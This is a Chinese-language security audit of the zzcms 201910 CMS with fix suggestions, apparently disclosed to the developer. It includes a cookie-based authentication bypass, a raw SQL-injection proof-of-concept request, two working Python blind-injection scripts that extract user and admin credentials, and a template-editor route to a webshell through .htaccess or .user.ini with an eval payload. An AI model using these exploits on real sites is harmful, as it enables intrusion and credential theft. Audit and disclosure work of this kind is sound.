本次代码审计的目标是zzcms的最新版本201910。
下载地址为http://www.zzcms.net/about/6.htm。这次审计的主要范围是
- /admin 默认后台管理目录(可任意改名)
- /user 注册用户管理程序存放目录
首先按照手册说明安装并初始化
成功初始化后的界面
逻辑漏洞导致越权
/user/check.php
/user目录下是普通用户功能的代码,大部分页面通过include("check.php");
来验证用户是否登录,check.php
代码逻辑如下
<?php
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
//验证用户名和密码
}
?>
正常登录的话应该是同时携带UserName
和PassWord
的cookie访问,然后在else中验证。但是在if中如果没有携带PassWord
,代码做的仅仅是输出js来跳转,并没有阻止下面代码的执行,所以基本上仅仅是include('check.php')
来验证是否登录的代码都可以通过传入携带任意UserName
的cookie执行越权操作。
例如在/user/adv.php
这是一个可以修改广告内容和图片的界面
代码根据当前登录的用户名对数据库中的数据进行操作
query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");
然后再从数据库中取出数据,输出到html中
在攻击前,数据库中数据是这样的
如果攻击者发送如下数据包,Cookie: UserName=test
即使攻击者并未登录test用户,仍然能修改数据库中的内容
这里只是用logout.php
来示范,实际上可以进行危害更大的csrf。在后面提到的sql注入可以爆出所有的用户名,使这个漏洞有可利用的空间。攻击者可以在指定用户名的受害者不知情的情况下修改演示地址的链接,用户以为自己点的是广告的演示地址,实际上可能通过恶意链接执行了其他操作。
/admin/admin.php
存在和check.php
一样的问题,代码如下:
<?php
include("../inc/conn.php");
if (isset($_COOKIE["admin"]) && isset($_COOKIE["pass"])){
$sql="select * from zzcms_admin where admin='".$_COOKIE["admin"]."'";
$rs=query($sql) or showmsg('查寻管理员信息出错');
$ok=is_array($row=fetch_array($rs));
if($ok){
if ($_COOKIE["pass"]!=$row['pass']){
showmsg('管理员密码不正确,你无权进入该页面','../"'.admin_mulu.'"/login.php');
}
}else{
showmsg('管理员已不存在,你无权进入该页面','../"'.admin_mulu.'"/login.php');
}
}else{
echo "<script>top.location.href = '../".admin_mulu."/login.php';</script>";
}
?>
可以只携带Cookie: admin=admin
去访问。但是由于管理员的各项操作中都有checkadminisdo()
函数再次检验权限,所以这个逻辑漏洞在后台实际上没什么作用。
sql注入
waf
首先分析框架中sql语句的执行方式:所有进行sql操作的页面都通过include("../inc/conn.php");
来连接数据库和进行其他过滤。而防护代码在conn.php
中通过include(zzcmsroot."/inc/stopsqlin.php");
包含,也就是说,waf基本都在stopsqlin.php
里面。
通读代码,有如下几个部分①
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
如果$_REQUEST
不为空(注意:如果$_REQUEST
为空,也就是不存在get
和post
参数,此防护失效),对所有的post
、get
、cookie
参数进行转义,基本杜绝sql注入和xss
②
//过滤指定字符,
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
$r_url=strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin=="Yes") {
if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }/* 过滤所有request过来的变量 */
对所有get
、post
、cookie
参数进行黑名单过滤,黑名单stopwords
在/inc/config.php
中定义,默认为
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|**') ;
漏洞成因
看起来这些防护已经足够,但是整个cms中存在不少不带任何get
、post
参数即可访问,并且通过cookie中的变量来执行sql操作,那么$_REQUEST
实际上就为空,导致第一步转义不会触发,cookie中仍可以注入单引号,进一步可以执行sql语句。
/user/top.php
top.php
中调用ShowUserSf()
来生成html,代码如下
function ShowUserSf(){
if ($_COOKIE["UserName"]<>"" ){
$sql="select groupname,grouppic from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='".$_COOKIE["UserName"]."')";
$rs=query($sql);
$row=fetch_array($rs);
$rownum=num_rows($rs);
if ($rownum){
$str= "<b>".$row["groupname"]."</b><img src='../".$row["grouppic"]."'> " ;
}
$sql="select groupid,totleRMB,startdate,enddate from zzcms_user where username='" .$_COOKIE["UserName"]. "'";
$rs=query($sql);
$row=fetch_array($rs);
$rownum=num_rows($rs);
if ($rownum){
if ($row["groupid"]>1){
$str=$str ."服务时间:".$row["startdate"]." 至 ".$row["enddate"];
}elseif ($row["groupid"]==1){
$str=$str . "<a href='../one/vipuser.php' target='_blank'>查看我的权限</a>";
}
}else{
$str=$str . "用户不存在";
}
}else{
$str=$str. "您尚未登录";
}
echo $str;
}
仅仅把$_COOKIE["UserName"]
作为where
条件来取出数据,如果成功取到数据,就打印查看我的权限
,否则打印用户不存在
,满足布尔盲注的条件。
而top.php
其实是/user
目录下通用的文件,以/user/ask.php
为例,通过简单的poc来测试构造数据包,没有任何get
或post
参数,仅仅是通过cookie进行注入
GET /user/ask.php HTTP/1.1
User-Agent: PostmanRuntime/7.25.0
Accept: */*
Cache-Control: no-cache
Postman-Token: 61080183-d3aa-4674-943d-dfb56440c9ac
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UserName=' || '1'='1'#
证实存在sql注入。接下来编写脚本脱库
import requests
import string
url = 'http://127.0.0.1/user/ask.php'
result = []
def get_column_by_id(uid, column):
result = ''
for x in range(50):
flag = 1
for i in string.ascii_letters + string.digits + '@.':
cookies = {
'UserName': f"' || {column} like '{result}{i}%' && id = {uid}#"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
if "查看我的权限</a>)" in response.text:
result += i
break
if i == '.':
flag = 0
if flag == 0:
break
print(f'[+] id: {uid}, {column}: ' + result)
return result
for uid in range(1, 10):
column_list = ['username','email','phone']
tmp = [get_column_by_id(uid, i) for i in column_list]
if '' not in tmp:
result.append(tmp)
print(result)
结果如下
但是由于or
被过滤了,导致password
列注不出来,所以无法登陆任意普通用户
/admin/admin.php
admin.php
还有一个很严重的sql注入,重新回顾一下代码
if (isset($_COOKIE["admin"]) && isset($_COOKIE["pass"])){
$sql="select * from zzcms_admin where admin='".$_COOKIE["admin"]."'";
$rs=query($sql) or showmsg('查寻管理员信息出错');
$ok=is_array($row=fetch_array($rs));
if($ok){
if ($_COOKIE["pass"]!=$row['pass']){
showmsg('管理员密码不正确,你无权进入该页面','../"'.admin_mulu.'"/login.php');
}
}else{
showmsg('管理员已不存在,你无权进入该页面','../"'.admin_mulu.'"/login.php');
}
}
和/user/check.php
不同的是,这里根据$_COOKIE["admin"]
取出数据后,额外验证了$_COOKIE["pass"]
,所以不能简单盲注。但是这样的sql语句可以通过使用with rollup
的方法绕过。同样不传递任何get
和post
参数,传递Cookie: admin=' || '1'='1' group by pass with rollup limit 1 offset 1#; pass=
成功登录
登录失败
满足布尔盲注条件,编写脚本
import requests
import string
url = 'http://127.0.0.1/admin/'
result = []
def get_column_by_id(uid, column):
result = ''
for x in range(50):
flag = 1
for i in string.ascii_lowercase + string.digits:
cookies = {
'admin': f"' || {column} like '{result}{i}%' && id = {uid} group by pass with rollup limit 1 offset 1#",
'pass': ''
}
response = requests.get(url, cookies=cookies)
# print(response.text)
if "管理员已不存在,你无权进入该页面" not in response.text:
result += i
break
if i == '9':
flag = 0
if flag == 0:
break
print(f'[+] id: {uid}, {column}: ' + result)
return result
for uid in range(1, 10):
column_list = ['admin', 'pass']
tmp = [get_column_by_id(uid, i) for i in column_list]
if '' not in tmp:
result.append(tmp)
print(result)
结果如下
巧的是,超级管理员表中密码列名为pass
,没有or
,导致可以成功注出所有超级管理员的账号密码,攻击者可以借此登录后台
修改模板getshell
登录后台之后,下一步自然是想怎么进一步getshell,而由于模板管理模块的存在,这反而成了最简单的一步。
/admin/template.php
可以在这里修改模板,模板默认存放目录为/template/red13/
当然有过滤,但是很好绕过
if (strpos(strtolower($title),'php')!==false){
showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}
$start=stripfxg($_POST["start"],true);//stripfxg如果有自动加反斜杠去反斜杠
if (strpos(strtolower($start),'<?')!==false || strpos(strtolower($start),'<%')!==false){
showmsg('有非法内容');
}
修改的文件后缀名不能为php
,文件中不能包含<?
或<%
,可以通过修改文件为.htaccess
或者.user.ini
来绕过
其中shell.b64
中的内容是base64编码的<?php eval($_REQUEST[cmd]); ?>
,成功getshell
修复建议
/user/check.php
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}
修改为
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
exit;
}
在输出跳转js后结束php代码
/inc/stopsqlin.php
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
修改为
if($_COOKIE){
$_COOKIE =zc_check($_COOKIE);
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
@extract($_POST);
@extract($_GET);
}
/admin/template.php
if (strpos(strtolower($title),'php')!==false){
showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}
修改为白名单
$allow_exts = ['css', 'htm'];
if (!in_array(substr($title, strrpos($title, '.') + 1), $allow_exts)){
showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}
尾声
以上所有漏洞均已提交给开发者